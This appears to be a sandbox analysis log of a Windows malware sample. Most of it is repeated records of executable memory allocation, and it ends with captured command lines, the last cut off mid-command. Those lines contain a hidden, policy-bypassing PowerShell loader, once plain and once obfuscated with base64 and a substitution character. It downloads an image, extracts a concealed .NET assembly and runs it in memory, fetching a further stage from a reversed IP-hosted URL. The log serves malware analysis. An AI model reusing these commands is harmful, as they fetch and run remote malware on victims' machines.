NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ab000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0205b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02692000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026a5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02065000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0269c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02910000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02066000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02693000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02694000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02695000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02696000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02697000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02698000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02699000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a30000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a31000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a32000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a33000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a34000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a35000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a36000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a37000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a38000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a39000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a3a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a3b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a3c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a3d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a3e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a3f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a81000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a82000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a83000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2652
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02a84000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://cdn.pixelbin.io/v2/red-wildflower-1b0af4/original/universo_vbs.jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.zzjfgzfgjzxfgjhfgd46SAB_FEG_nisuoc/42.021.871.591//:ptth');$method.Invoke($null, $arguments)"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBy⁂GU⁂Z⁂⁂t⁂Hc⁂aQBs⁂GQ⁂ZgBs⁂G8⁂dwBl⁂HI⁂LQ⁂x⁂GI⁂M⁂Bh⁂GY⁂N⁂⁂v⁂G8⁂cgBp⁂Gc⁂aQBu⁂GE⁂b⁂⁂v⁂HU⁂bgBp⁂HY⁂ZQBy⁂HM⁂bwBf⁂HY⁂YgBz⁂C4⁂agBw⁂GU⁂Zw⁂n⁂Ds⁂J⁂B3⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂g⁂D0⁂I⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBO⁂GU⁂d⁂⁂u⁂Fc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂LgBE⁂G8⁂dwBu⁂Gw⁂bwBh⁂GQ⁂R⁂Bh⁂HQ⁂YQ⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FU⁂cgBs⁂Ck⁂Ow⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBU⁂GU⁂e⁂B0⁂C4⁂RQBu⁂GM⁂bwBk⁂Gk⁂bgBn⁂F0⁂Og⁂6⁂FU⁂V⁂BG⁂Dg⁂LgBH⁂GU⁂d⁂BT⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂FM⁂V⁂BB⁂FI⁂V⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂ZQBu⁂GQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂EU⁂TgBE⁂D4⁂Pg⁂n⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂p⁂Ds⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂Ek⁂bgBk⁂GU⁂e⁂BP⁂GY⁂K⁂⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwBl⁂C⁂⁂M⁂⁂g⁂C0⁂YQBu⁂GQ⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwB0⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂Kw⁂9⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂u⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂g⁂D0⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂I⁂⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂Ow⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂FM⁂dQBi⁂HM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Cw⁂I⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ck⁂Ow⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBD⁂G8⁂bgB2⁂GU⁂cgB0⁂F0⁂Og⁂6⁂EY⁂cgBv⁂G0⁂QgBh⁂HM⁂ZQ⁂2⁂DQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂KQ⁂7⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBS⁂GU⁂ZgBs⁂GU⁂YwB0⁂Gk⁂bwBu⁂C4⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂F0⁂Og⁂6⁂Ew⁂bwBh⁂GQ⁂K⁂⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂Ck⁂Ow⁂k⁂HQ⁂eQBw⁂GU⁂I⁂⁂9⁂C⁂⁂J⁂Bs⁂G8⁂YQBk⁂GU⁂Z⁂BB⁂HM⁂cwBl⁂G0⁂YgBs⁂Hk⁂LgBH⁂GU⁂d⁂BU⁂Hk⁂c⁂Bl⁂Cg⁂JwBG⁂Gk⁂YgBl⁂HI⁂LgBI⁂G8⁂bQBl⁂Cc⁂KQ⁂7⁂CQ⁂bQBl⁂HQ⁂a⁂Bv⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂B0⁂Hk⁂c⁂Bl⁂C4⁂RwBl⁂HQ⁂TQBl⁂HQ⁂a⁂Bv⁂GQ⁂K⁂⁂n⁂FY⁂QQBJ⁂Cc⁂KQ⁂7⁂CQ⁂YQBy⁂Gc⁂dQBt⁂GU⁂bgB0⁂HM⁂I⁂⁂9⁂C⁂⁂L⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgB6⁂Ho⁂agBm⁂Gc⁂egBm⁂Gc⁂agB6⁂Hg⁂ZgBn⁂Go⁂a⁂Bm⁂Gc⁂Z⁂⁂0⁂DY⁂UwBB⁂EI⁂XwBG⁂EU⁂RwBf⁂G4⁂aQBz⁂HU⁂bwBj⁂C8⁂N⁂⁂y⁂C4⁂M⁂⁂y⁂DE⁂Lg⁂4⁂Dc⁂MQ⁂u⁂DU⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
cmdline powershell -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBy⁂GU⁂Z⁂⁂t⁂Hc⁂aQBs⁂GQ⁂ZgBs⁂G8⁂dwBl⁂HI⁂LQ⁂x⁂GI⁂M⁂Bh⁂GY⁂N⁂⁂v⁂G8⁂cgBp⁂Gc⁂aQBu⁂GE⁂b⁂⁂v⁂HU⁂bgBp⁂HY⁂ZQBy⁂HM⁂bwBf⁂HY⁂YgBz⁂C4⁂agBw⁂GU⁂Zw⁂n⁂Ds⁂J⁂B3⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂g⁂D0⁂I⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBO⁂GU⁂d⁂⁂u⁂Fc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂LgBE⁂G8⁂dwBu⁂Gw⁂bwBh⁂GQ⁂R⁂Bh⁂HQ⁂YQ⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FU⁂cgBs⁂Ck⁂Ow⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBU⁂GU⁂e⁂B0⁂C4⁂RQBu⁂GM⁂bwBk⁂Gk⁂bgBn⁂F0⁂Og⁂6⁂FU⁂V⁂BG⁂Dg⁂LgBH⁂GU⁂d⁂BT⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂FM⁂V⁂BB⁂FI⁂V⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂ZQBu⁂GQ⁂RgBs⁂GE⁂Zw⁂g⁂D0⁂I⁂⁂n⁂Dw⁂P⁂BC⁂EE⁂UwBF⁂DY⁂N⁂Bf⁂EU⁂TgBE⁂D4⁂Pg⁂n⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂p⁂Ds⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂Ek⁂bgBk⁂GU⁂e⁂BP⁂GY⁂K⁂⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwBl⁂C⁂⁂M⁂⁂g⁂C0⁂YQBu⁂GQ⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂ZwB0⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂Kw⁂9⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂RgBs⁂GE⁂Zw⁂u⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂g⁂D0⁂I⁂⁂k⁂GU⁂bgBk⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂C0⁂I⁂⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂Ow⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂FM⁂dQBi⁂HM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Cw⁂I⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂Ew⁂ZQBu⁂Gc⁂d⁂Bo⁂Ck⁂Ow⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBD⁂G8⁂bgB2⁂GU⁂cgB0⁂F0⁂Og⁂6⁂EY⁂cgBv⁂G0⁂QgBh⁂HM⁂ZQ⁂2⁂DQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂GI⁂YQBz⁂GU⁂Ng⁂0⁂EM⁂bwBt⁂G0⁂YQBu⁂GQ⁂KQ⁂7⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C⁂⁂PQ⁂g⁂Fs⁂UwB5⁂HM⁂d⁂Bl⁂G0⁂LgBS⁂GU⁂ZgBs⁂GU⁂YwB0⁂Gk⁂bwBu⁂C4⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂F0⁂Og⁂6⁂Ew⁂bwBh⁂GQ⁂K⁂⁂k⁂GM⁂bwBt⁂G0⁂YQBu⁂GQ⁂QgB5⁂HQ⁂ZQBz⁂Ck⁂Ow⁂k⁂HQ⁂eQBw⁂GU⁂I⁂⁂9⁂C⁂⁂J⁂Bs⁂G8⁂YQBk⁂GU⁂Z⁂BB⁂HM⁂cwBl⁂G0⁂YgBs⁂Hk⁂LgBH⁂GU⁂d⁂BU⁂Hk⁂c⁂Bl⁂Cg⁂JwBG⁂Gk⁂YgBl⁂HI⁂LgBI⁂G8⁂bQBl⁂Cc⁂KQ⁂7⁂CQ⁂bQBl⁂HQ⁂a⁂Bv⁂GQ⁂I⁂⁂9⁂C⁂⁂J⁂B0⁂Hk⁂c⁂Bl⁂C4⁂RwBl⁂HQ⁂TQBl⁂HQ⁂a⁂Bv⁂GQ⁂K⁂⁂n⁂FY⁂QQBJ⁂Cc⁂KQ⁂7⁂CQ⁂YQBy⁂Gc⁂dQBt⁂GU⁂bgB0⁂HM⁂I⁂⁂9⁂C⁂⁂L⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgB6⁂Ho⁂agBm⁂Gc⁂egBm⁂Gc⁂agB6⁂Hg⁂ZgBn⁂Go⁂a⁂Bm⁂Gc⁂Z⁂⁂0⁂DY⁂UwBB⁂EI⁂XwBG⁂EU⁂RwBf⁂G4⁂aQBz⁂HU⁂bwBj⁂C8⁂N⁂⁂y⁂C4⁂M⁂⁂y⁂DE⁂Lg⁂4⁂Dc⁂MQ⁂u⁂DU⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( 